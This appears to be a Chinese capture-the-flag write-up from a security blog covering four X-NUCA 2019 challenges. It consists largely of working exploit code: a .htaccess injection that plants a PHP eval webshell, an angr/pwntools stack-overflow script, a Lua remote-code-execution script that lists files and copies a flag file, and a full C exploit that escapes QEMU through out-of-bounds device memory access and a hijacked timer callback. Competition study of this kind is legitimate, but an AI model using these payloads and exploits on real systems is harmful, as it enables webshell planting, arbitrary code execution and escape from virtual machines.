X-NUCA'2019部分题目WP
2019-09-21 11:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:84 收藏

0x00 前言

题目质量好高,题目好评

0x01 Ezphp

题目描述

ezphp php for beginner.

hint: no race condition

题目解答

题目环境:apache+php

题目源码:

<?php     $files = scandir('./');      foreach($files as $file) {         if(is_file($file)){             if ($file !== "index.php") {                 unlink($file);             }         }     }     include_once("fl3g.php");     if(!isset($_GET['content']) || !isset($_GET['filename'])) {         highlight_file(__FILE__);         die();     }     $content = $_GET['content'];     if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {         echo "Hacker";         die();     }     $filename = $_GET['filename'];     if(preg_match("/[^a-z\.]/", $filename) == 1) {         echo "Hacker";         die();     }     $files = scandir('./');      foreach($files as $file) {         if(is_file($file)){             if ($file !== "index.php") {                 unlink($file);             }         }     }     file_put_contents($filename, $content . "\nJust one chance"); ?>

有两次unlink,而且文件名不允许/的存在,所以想要避开unlink的删除,是基本不可能的了。

前面在内容限制了很多字符,之后查文档,发现字符几乎全部来自.htaccess.user.ini 这两个可用来getshell的方法当中,查询新的可利用字段也没有得到什么好的点子。

所以问题就又回到了对 stristr 函数过滤掉的字符的bypass上来(正则实在过不去....,也没办法把这个函数给dis掉)

所以根据码代码时的换行符以及连接符可以联想构造出如下payload来getshell

php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20var_dump(eval($_GET[1]));?>\\

最终执行命令得到flag

0x02 AEG

题目描述

nc 117.50.100.23 42353

增加nc 117.50.93.78 10001

hints:

1) Search the strings carefully and we see the shining target through the fog of interesting tricks.

2) we have edited some logic of the rop.

题目解答

程序有大概20个switch case,并且其中有嵌套循环,每个switch case只有一条正确出路,判断一下重复地址即可。最后有个栈溢出,覆盖地址为lea rdi,'/bin/cat flag'处执行system即可。

脚本如下:

import angrfrom pwn import *from z3 import *import hashlibimport base64import osimport binascii
def get_md5(s): m = hashlib.md5() m.update(s) return m.hexdigest()
def change_ld(binary, ld): """ Force to use assigned new ld.so by changing the binary """ if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld)) return None if not isinstance(binary, ELF): if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary)) return None binary = ELF(binary) for segment in binary.segments: if segment.header['p_type'] == 'PT_INTERP': size = segment.header['p_memsz'] addr = segment.header['p_paddr'] data = segment.data() if size <= len(ld): log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld)) return None binary.write(addr, ld.ljust(size, '\0').encode('utf-8')) if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn') path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path)) if os.access(path, os.F_OK): os.remove(path) log.info("Removing exist file {}".format(path)) binary.save(path) os.chmod(path, 0b111000000) #rwx------ log.success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return ELF(path)
magic_num = 0x180def get_end(addr): for i in range(addr,addr+magic_num): #print(elf.read(i,3)) if elf.read(i,3) == b"\x90\xc9\xc3": #print('find end :%s'%hex(i)) return i raise('not find end!')
def get_jmp_rax(addr): for i in range(addr,addr-magic_num,-1): if elf.read(i,2) == b'\xff\xe0': #print('find jmp rax :%s'%hex(i)) return i return None
def get_all_switch(addr): the_end = get_end(addr) the_jmp_rax = get_jmp_rax(the_end) res = [] aid = 0 for i in range(the_jmp_rax,the_end): ins = elf.read(i,5) if ins == b'\xb8'+b'\x00'*4: aid += 1 next_addr = (i+10+u32(elf.read(i+6,4)))&0xffffffff if next_addr not in all_switch and next_addr not in all_no_use: node = cfg.get_any_node(next_addr) if node.successors[0].addr != 0x400900: #plt_exit res.append((next_addr,aid)) return res
def check(addr): node = cfg.get_any_node(addr) suc = node.successors if suc[0].addr == 0x4008b0: # & return 0 return 1 # ^
def deal_check(addr,op=None): #print(hex(addr)+' '), if check(addr) == 0: #print('calc') num1 = ord(elf.read(addr+0x7c,1)) num2 = ord(elf.read(addr+0x8e,1)) num3 = ((num1*num2)&(num1+num2))&0xff if op == None: op = 0x61 return bytes((num1,num2,num3,op,10)) else: #print('random') data = io.recv(8) data = u64(data) print(hex(data)) num = u64(elf.read(addr+0x29+2,8)) print(hex(num)) x = BitVecs('x',64)[0] solver = Solver() solver.add( ((x << 39)^num*(x >> 25)) == data ) solver.check() res = solver.model() num = res[x] if op == None: op = 0x61 return p64(num.as_long())+bytes((op,10))
filename = './aeg_0'
io = remote('117.50.93.78', 10001)io.recvuntil('Start Pow\n')the_md5 = io.recvuntil('\n',drop=True)data = io.recvuntil('\n',drop=True)print(data)prefix = binascii.a2b_hex(data[:-1])st = int(data.decode('utf-8')[-1],16)<<4print(hex(st))found = 0for a in range(st,st+0x10): if found: break for b in range(0x100): if found: break for c in range(0x100): tmp = prefix + bytes((a,b,c)) calc = get_md5(tmp) #print(type(calc)) #print(the_md5) if calc == the_md5.decode('utf-8'): #print(binascii.b2a_hex(tmp)) io.sendline(binascii.b2a_hex(tmp)) found = 1 breakif found == 0: print("not found hash!!") exit()
token = 'icqd741eeee3154b1c8fc866fe18e468'io.sendlineafter('token:',token)io.recvuntil('Start:\n')binary_b64 = ''.join(io.recvuntil('End.\n',drop=True).decode('utf-8').split('\n'))#print binary_b64binary_b64 = base64.b64decode(binary_b64)#print hex(len(binary_b64))with open('aeg_0.tar.xz','wb') as f: f.write(binary_b64) f.close()os.system('xz -d aeg_0.tar.xz;mv aeg_0.tar aeg_0;chmod +x aeg_0')
elf = ELF(filename)
p = angr.Project(filename,load_options={'auto_load_libs': False})cfg = p.analyses.CFGFast()
aid = 0for addr,b in cfg.kb.functions.items(): aid += 1 if aid == 133: main_addr = addr print('main_addr found! at %s'%hex(main_addr)) break
aid = 0for addr,b in cfg.kb.functions.items(): aid += 1 if aid >= 133: break if aid >= 18 and aid < 133: #print(hex(addr)) start_node = cfg.get_any_node(addr) pre = start_node.predecessors if len(pre) > 0: if pre[0].addr - 0xf1 == main_addr: print('start_node found! at %s'%hex(start_node.addr)) break
#tmp_elf = change_ld(filename,'./ld-2.27.so')#io = tmp_elf.process(env={'LD_PRELOAD':'./libc.so.6'})#context.log_level='debug'#context.terminal = ['tmux', 'split', '-h']#gdb.attach(io)#,"b *0x4BFB070")#input()#context.log_level='debug'io.recvuntil('Start.\n')
ans = b""tmp = deal_check(start_node.addr)print('++++++++++++++++++')io.send(tmp)
the_end = get_end(start_node.addr)start_node_next = (the_end-0x11+5+u32(elf.read(the_end-0x10,4)))&0xffffffffprint('start_node_next :%s'%hex(start_node_next))
all_no_use = []all_switch = []
all_switch.append(start_node_next)
all_next_switch = get_all_switch(start_node_next)#print(all_next_switch)
for next_switch,switch_num in all_next_switch: the_end = get_end(next_switch) the_jmp_rax = get_jmp_rax(the_end) if the_jmp_rax == None: all_no_use.append(next_switch) else: real_next_switch = next_switch tmp = deal_check(start_node_next,op=0x60+switch_num) ans += tmp io.send(tmp)all_switch.append(real_next_switch)#print(all_switch)#print(ans)for i in range(18): all_next_switch = get_all_switch(real_next_switch) tmp_no_use = [] #print(all_next_switch) for next_switch,switch_num in all_next_switch: check_next = get_all_switch(next_switch) if len(check_next) < 4: tmp_no_use.append(next_switch) else: tmp = deal_check(real_next_switch,op=0x60+switch_num) ans += tmp io.send(tmp) real_next_switch = next_switch all_switch.append(real_next_switch) all_no_use.extend(tmp_no_use) if len(all_no_use) > 3: all_no_use = all_no_use[-3:] if len(all_switch) > 3: all_switch = all_switch[-3:]
print(hex(real_next_switch))
all_next_switch = get_all_switch(real_next_switch)for next_switch,switch_num in all_next_switch: try: check_next = get_all_switch(next_switch) except: tmp = deal_check(real_next_switch,op=0x60+switch_num) io.send(tmp) real_next_switch = next_switch
print(hex(real_next_switch))
context.log_level='debug'
tmp = deal_check(real_next_switch,op=0x77)io.send(tmp)
eval_addr = cfg.get_any_node(0x400890).predecessors[0].addrprint('eval_addr :%s'%hex(eval_addr))#print(len(ans))#print(ans)
#io.recvuntil('Congratulation')sleep(0.1)io.send(p64(eval_addr)*4)io.interactive()

0x03 ls

题目描述

there are two flags in the form of xnuca{…}. Please submit the concatenation of the two string between the brackets (brackets not included). E.g. if the first flag is xnuca{here_is_flag1}, the second flag is xnuca{here_is_flag2}, please submit: here_is_flag1here_is_flag2.

NOTICE: The following host port isn't this program's service.

nc 4438af7809b0.gamectf.com 9901

nc 55a11bac354f.gamectf.com 9901

题目解答

首先把题目逆一下,发现逻辑是非常简单的,但是二进制里面实际上带了一个lua解释器,真正需要看的是lua代码,代码就在程序里面,但是做了压缩,blzpack,搜一下就可以知道怎么解压拿到代码,我是直接等程序解压完,从内存里读出来的,一共有一万多行,关键部分如下。

-- do reverse    if req_method == "POST" and req_headers:get("referer") == 'xnuca' then        local cl = req_headers:get("content-length")        local x = tonumber(stream.connection:read_body_by_length(tonumber(cl)))        local res = (secret + x )  < (secret - 3 * x) and 1 or 0        res_headers:upsert(":status", "201")    res_headers:append("content-type", "text/plain")        assert(stream:write_headers(res_headers, false))        stream:write_chunk(tostring(res)..'\n',false)        for i = 0,255,1        do            stream:write_chunk('number?'..'\n',false)            local tmp = stream.connection:read_body_by_length(2)            local num_of_digits = tonumber(tmp)            if num_of_digits == -1 then break end            local new_x = tonumber(stream.connection:read_body_by_length(num_of_digits))            calc_oracle(new_x)        end        stream:write_chunk('did you get the secret?'..'\n',false,5)        local num_of_digits = tonumber(stream.connection:read_body_by_length(2))        stream:write_chunk('your guess?'..'\n',false,5)        local ans = tonumber(stream.connection:read_body_by_length(num_of_digits))        if ans == secret then            stream:write_chunk("correct, here is your flag 1:\n")            re_flag=io.open("flag1.txt",'r')            tmp=re_flag:read "*a"            stream:write_chunk(tmp)        elseif ans > secret then            print(secret,ans)            stream:write_chunk("nope.")            return         else            stream:write_chunk("nope.")            return        end    end
-- do pwn if req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' then local body_length = tonumber(stream.connection:read_body_by_length(4)) local body = stream.connection:read_body_by_length(body_length) -- print(cl,body) hex_dump(body) x = load(body) x() return end

这样看来就很明确了,先做一个逆向,猜出 secret 得一个flag,再任意代码执行,获取另一个flag。

关于逆向,需要利用lua的整数溢出特性,利用二分法来找一个临界值,进而算出可能的 secret 值,这里就比较坑了,我的方法实测成功率约20%;关于任意代码执行,也比较坑,首先需要列目录,将结果放到 work_dir 里,再去读flag文件。

此外还要写个申请docker的程序。

#https://github.com/matrix1001/welpwnfrom PwnContext import *
try: from IPython import embed as ipyexcept ImportError: print ('IPython not installed.')
if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0'))
def crack(s): chrset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEF' for c1 in chrset: for c2 in chrset: for c3 in chrset: for c4 in chrset: for c5 in chrset: test = c1 + c2 + c3 + c4 + c5 if sha256sumhex(test) == s: return test error('fail to crack hash: {}'.format(s))
# 申请docker ctx.remote = ('55a11bac354f.gamectf.com', 9901) rs('remote') sla('token', 'icqd741eeee3154b1c8fc866fe18e468') ru('== \'') some_hash = ru('\'') sla('is :', crack(some_hash)) r() # 申请完自己填ip端口什么的
def toluaint(i): i = i & 0xffffffffffffffff if i > 0x8000000000000000: return -(0x10000000000000000 - i) else: return i def http_packet(content, ua='test'): packetfmt = '''POST / HTTP/1.1\rContent-Length: {}\rContent-Type: text/html\rConnection: keep-alive\rAccept: */*\rReferer: xnuca\rUser-Agent: {}\r\r{}\r''' return packetfmt.format(len(content)+2, ua, content) def getresult(x): ctx.clean() length = len(hex(x)) s(length) s(hex(x)) ru('2\r\n') result = ru('\n') if result == '1': return True elif result == '0': return False else: error('error result:{}'.format(result)) def crack(): a = 0 min = 0x8000000000000000 max = 0x10000000000000000 while True: x = (max + min) / 2 print('count:', a) #print('max:', max) #print('min:', min) #print('mid:', x) if (max == min+1): break if(getresult(x)): max = x else: min = x a += 1 print('possible result from \n{}\nto\n{}\n'.format( hex(toluaint(min*3)+0x8000000000000000), hex(toluaint(max*3)+0x8000000000000000))) return hex(toluaint(min*3)+0x8000000000000000) ctx.remote = ('117.50.64.144', 26544) #ctx.remote = ('localhost', 8000) rs('remote') s(http_packet('1', ua='ww9210')) context.log_level = 'info' min_val = crack() context.log_level = 'debug' s(-1) sa('did you get the secret', len(min_val)) sa('your guess', min_val) ru('\r\n') msg_len = int(ru('\r\n'), 16) msg = r(msg_len) ru('\r\n') if 'flag 1' in msg: success('get flag1') else: error('no flag1') flag1_len = int(ru('\r\n'), 16) flag1 = r(flag1_len) ru('\r\n')
payload = '''require 'lfs'function getpaths(rootpath, pathes) pathes = pathes or {} for entry in lfs.dir(rootpath) do if entry ~= '.' and entry ~= '..' then local path = rootpath..'/'..entry local attr = lfs.attributes(path) assert(type(attr) == 'table') if attr.mode == 'directory' then getpaths(path, pathes) else table.insert(pathes, path) end end end return pathesend
f=io.open("./work_dir/path", 'w')pathes = {}getpaths('.', pathes)for i = 1, #(pathes) do f:write(pathes[i]) f:write(' ')endf:close()''' payload2 = '''function common_copy(sourcefile,destinationfile) local temp_content =""; io.input(sourcefile) temp_content = io.read("*a") io.output(destinationfile) io.write(temp_content) io.flush() io.close()endcommon_copy("./flag009d9713831dca08e944ed901aede7f1.txt", "./work_dir/test")''' # 这里就先发payload,等拿到flag文件名,再发payload2 s(str(len(payload2)).ljust(4, ' ')) s(payload2) ctx.recvall()

0x04 vexx

题目描述

user: root

pass: goodluck

Try to escape the QEMU world!

nc 35f56326858b.gamectf.com 30007

增加 nc ec3247983443.gamectf.com 30007

题目解答

利用ioport write将opaque->memorymode设为1,就可以通过设置opaque->req.offset,在vexx_cmb_write以及vexx_cmb_read函数中对opaque->req.req_buf进行越界读写,由于该buf后存在一个timer结构体,可以利用越界读获取堆地址以及程序基址。然后利用越界写将timer结构体中的cb覆盖为system地址,opaque覆盖为参数地址,最终触发timer,拿到flag:flag{SOEASY_Escape_qemu_from_timer}

Exp 如下:

#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include<sys/io.h>

uint32_t mmio_addr = 0xfebd6000;uint32_t mmio_size = 0x1000;uint32_t cmb_addr = 0xfebd0000;uint32_t cmb_size = 0x4000;
unsigned char* mmio_mem;unsigned char* cmb_mem;uint32_t pmio_base=0x230;
void die(const char* msg){ perror(msg); exit(-1);}
void* mem_map( const char* dev, size_t offset, size_t size ){ int fd = open( dev, O_RDWR | O_SYNC ); if ( fd == -1 ) { return 0; }
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) { return 0; }
close( fd ); return result;}
uint8_t mmio_read(uint32_t addr){ return *((uint8_t*) (mmio_mem+addr));}
void mmio_write(uint32_t addr, uint8_t value){ *( (uint32_t *) (mmio_mem+addr) ) = value;}

uint8_t cmb_read(uint32_t addr){ return *((uint8_t*) (cmb_mem+addr));}
void cmb_write(uint32_t addr, uint8_t value){ *( (uint8_t *) (cmb_mem+addr) ) = value;}
void pmio_write(uint32_t addr, uint32_t value){ outb(value,addr);}

uint8_t pmio_read(uint32_t addr){ return (uint32_t)inb(addr);}
void set_offset(uint32_t value){ pmio_write(pmio_base+0x10, value);}
void set_memorymode(uint32_t value){ pmio_write(pmio_base+0x0, value);}
uint8_t arbitrary_read(uint32_t offset){
set_offset(offset); return cmb_read(0x100);}
void arbitrary_write(uint32_t offset, uint8_t value){ set_offset(offset); cmb_write(0x100, value);}
void normal_write(uint32_t offset, uint8_t value){ set_offset(offset); cmb_write(0x0, value);}
int main(int argc, char *argv[]){ //step 1 mmap /dev/mem to system, (man mem) to see the detail system( "mknod -m 660 /dev/mem c 1 1" );
//step2 map the address to fd mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size ); if ( !mmio_mem ) { die("mmap mmio failed"); }
cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size ); if ( !cmb_mem ) { die("mmap cmb mem failed"); } // Open and map I/O memory for the strng device if (iopl(3) !=0 ) die("I/O permission is not enough");
set_memorymode(1); uint64_t heap_addr=0,tmp; uint32_t i; for (i=0;i<8;i++) { tmp = arbitrary_read(0x40+i); heap_addr=heap_addr+(tmp<<(i*8)); } printf("leaking heap address: 0x%lx\n",heap_addr);
uint64_t pro_addr=0; for (i=0;i<8;i++) { tmp = arbitrary_read(0x38+i); pro_addr=pro_addr+(tmp<<(i*8)); } printf("leaking pro address: 0x%lx\n",pro_addr); uint64_t pro_base= pro_addr-0x4DCF10; uint64_t system_plt=pro_base+0x2AB860; char *para="ls&&cat ./flag"; for(i=0; i< strlen(para); i++) { normal_write(0x0+i,para[i]); }
uint64_t para_addr=heap_addr+0xb90; for(i=0; i<8; i++) { arbitrary_write(0x38+i,((char*)&system_plt)[i]); }
for(i=0; i<8; i++) { arbitrary_write(0x40+i, ((char*)&para_addr)[i]); } mmio_write(0x98,1);

}

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652852062&amp;idx=1&amp;sn=3c2161b6f67c6c249c755a54d108f524&amp;chksm=bd5933938a2eba851fe9a5500533b355bef0a1f6b241a1d095caeb812d4fac25c4c72746479a#rd
如有侵权请联系:admin#unsafe.sh